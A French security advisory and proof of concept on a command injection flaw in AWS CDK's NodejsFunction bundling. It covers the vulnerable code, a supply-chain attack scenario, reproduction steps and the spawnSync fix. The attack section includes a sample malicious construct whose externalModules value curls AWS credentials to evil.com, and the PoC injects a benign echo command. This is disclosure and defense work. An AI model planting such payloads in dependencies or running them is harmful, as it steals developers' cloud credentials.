Analyse technique et Preuve de Concept (PoC) pour CVE-2026-11417 : Injection de commandes OS / Exécution de code à distance (RCE) dans NodejsFunction d'AWS CDK.
Auteur : Hesham Ashraf (@HeshamASH)
Date : 10 juin 2026
Sévérité : Élevée (CVSSv3.1 : 7.3, CVSSv4 : 7.0)
CWE : CWE-78 — Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande OS (Injection de commande OS)
Package affecté : aws-cdk-lib (npm), toutes les versions antérieures à la 2.245.0
Fournisseur : Amazon Web Services (AWS)
Statut : Corrigé (PR #37292, PR #37412) | CVE : CVE-2026-11417 | Bulletin : AWS-2026-041 | Avis : GHSA-999r-qq7v-r334
J'ai découvert une vulnérabilité d'injection de commande dans le kit de développement Cloud AWS (CDK) qui permettait à un attaquant d'obtenir une — y compris les postes de travail des développeurs et les pipelines CI/CD — en publiant un package npm malveillant ou en soumettant une Pull Request malveillante.
cdk synthLa vulnérabilité existait parce que le construct NodejsFunction de aws-cdk-lib interpolait directement des chaînes contrôlées par l'utilisateur dans une commande shell sans assainissement, puis l'exécutait via bash -c / cmd /c. AWS a corrigé le problème en remplaçant l'exécution basée sur le shell par des tableaux d'arguments directs spawnSync.
Le kit de développement Cloud AWS (CDK) est un framework open-source largement utilisé pour définir l'infrastructure cloud en tant que code. Il est utilisé par des dizaines de milliers de développeurs et de pipelines CI/CD pour synthétiser et déployer des piles AWS CloudFormation.
Le construct NodejsFunction est l'un des plus populaires des constructs L2 du CDK. Il regroupe les fonctions Lambda TypeScript/JavaScript à l'aide d'esbuild pendant la phase de synthèse (cdk synth).
Le chemin de groupement local du construct NodejsFunction construisait une chaîne de commande shell en interpolant directement plusieurs propriétés contrôlées par l'utilisateur sans aucun assainissement :
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (avant correctif)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // PAS D'ÉCHAPPEMENT
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // PAS D'ÉCHAPPEMENT
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NON ÉCHAPPÉE
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // PAS D'ÉCHAPPEMENT
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // PAS D'ÉCHAPPEMENT
];
Le tableau était ensuite concaténé en une seule chaîne et passé à un shell :
// La commande jointe est passée directement au shell OS
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Les métacaractères du shell comme &, ;, |, ` et $(...) dans l'une des propriétés injectables seraient interprétés par le shell comme des séparateurs de commandes, permettant l'exécution de commandes arbitraires.
| Propriété | Assainissement | Niveau de risque |
|---|---|---|
externalModules | Aucun | Critique |
define (clés) | Aucun (valeurs utilisent JSON.stringify) | Critique |
loader (clés) | Aucun | Critique |
inject | Aucun | Critique |
esbuildArgs (clés/valeurs) | Aucun | Critique |
Cette vulnérabilité est particulièrement dangereuse car l'injection a lieu au niveau de la synthèse du CDK, pas pendant npm install. Ainsi, les mesures de sécurité npm standard comme --ignore-scripts n'offrent aucune protection.
Un attaquant publie un package npm en apparence légitime qui encapsule NodejsFunction :
// Publié sous le nom "convenient-lambda" sur npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Charge utile cachée parmi des externals légitimes
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Lorsqu'un développeur installe ce package et exécute cdk synth, le CDK construit :
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
Le caractère & divise ceci en deux commandes shell indépendantes :
npx esbuild --bundle handler.ts --external:lodash — esbuild fonctionne normalementcurl https://evil.com/... — la charge utile de l'attaquant exfiltre les informations d'identification AWS| Défense | Efficace ? | Pourquoi |
|---|---|---|
npm install --ignore-scripts | Non | L'injection a lieu pendant cdk synth, pas pendant l'installation du package |
Revue de code de package.json | Non | La charge utile se trouve dans le code TypeScript du construct, pas dans les scripts |
| npm audit | Non | Le package ne contient aucune vulnérabilité connue |
| Intégrité du lockfile | Non | Le package lui-même est installé correctement |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts avec la charge utile d'injectionimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
Le fichier pwned.txt est créé, confirmant l'exécution de commande arbitraire sur la machine hôte.
spawnSync basé sur des tableauxLe correctif central remplace la construction de chaîne de commande shell par un spawnSync direct utilisant des tableaux d'arguments :
- // Avant : chaîne de commande interprétée par le shell
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // Après : tableau d'arguments direct (pas d'interprétation du shell)
+ spawnSync(command, args, { /* no shell */ });
Cela élimine complètement l'interprétation des métacaractères du shell. Le nouveau système de types BundlingStep sépare proprement :
spawn : esbuild/tsc/install — exécutées via spawnSync direct avec tableaux d'argumentsshell : commandHooks fournis par l'utilisateur — exécutés intentionnellement dans un shell (l'utilisateur les contrôle par contrat)fs : opérations sur fichiers — aucun shell impliquéSur Windows avec Node 22+, un spawnSync direct des shims .cmd échoue avec EINVAL. Cette PR achemine les étapes spawn via powershell.exe avec powershellEscape() — une fonction qui met strictement chaque argument entre guillemets simples en utilisant l'échappement natif de PowerShell (doublement des guillemets simples internes), puis ajoute l'opérateur d'appel &.
L'exécution shell est un mauvais signe. Tout chemin de code qui construit une chaîne et la passe à bash -c ou cmd /c est une vulnérabilité potentielle d'injection de commande. Préférez toujours spawnSync ou execFile basés sur des tableaux.
Les attaques via la chaîne d'approvisionnement contournent les défenses au moment de l'installation. npm audit et --ignore-scripts protègent contre les scripts postinstall malveillants, mais ils ne peuvent pas protéger contre les vulnérabilités dans les outils qui traitent les dépendances au moment de la construction.
Les constructs CDK sont du code de confiance. Lorsqu'un développeur importe un construct CDK tiers, il lui fait implicitement confiance pour configurer correctement son infrastructure. Un construct malveillant peut exploiter cette confiance pour injecter des charges utiles dans les propriétés de groupement qui ressemblent à une configuration ordinaire.
Mettez à jour immédiatement vers la version 2.245.0 ou ultérieure de aws-cdk-lib
Auditez les constructs CDK tiers pour détecter des valeurs inhabituelles dans la propriété bundling
Épinglez les versions des constructs CDK dans votre package-lock.json
Examinez les PR modifiant la configuration bundling avec une vigilance accrue
Reproduisez la vulnérabilité en utilisant les fichiers fournis dans le dossier poc/.
Découvert et signalé par Hesham Ashraf (@HeshamASH). Divulgation coordonnée effectuée via le programme VDP d'AWS.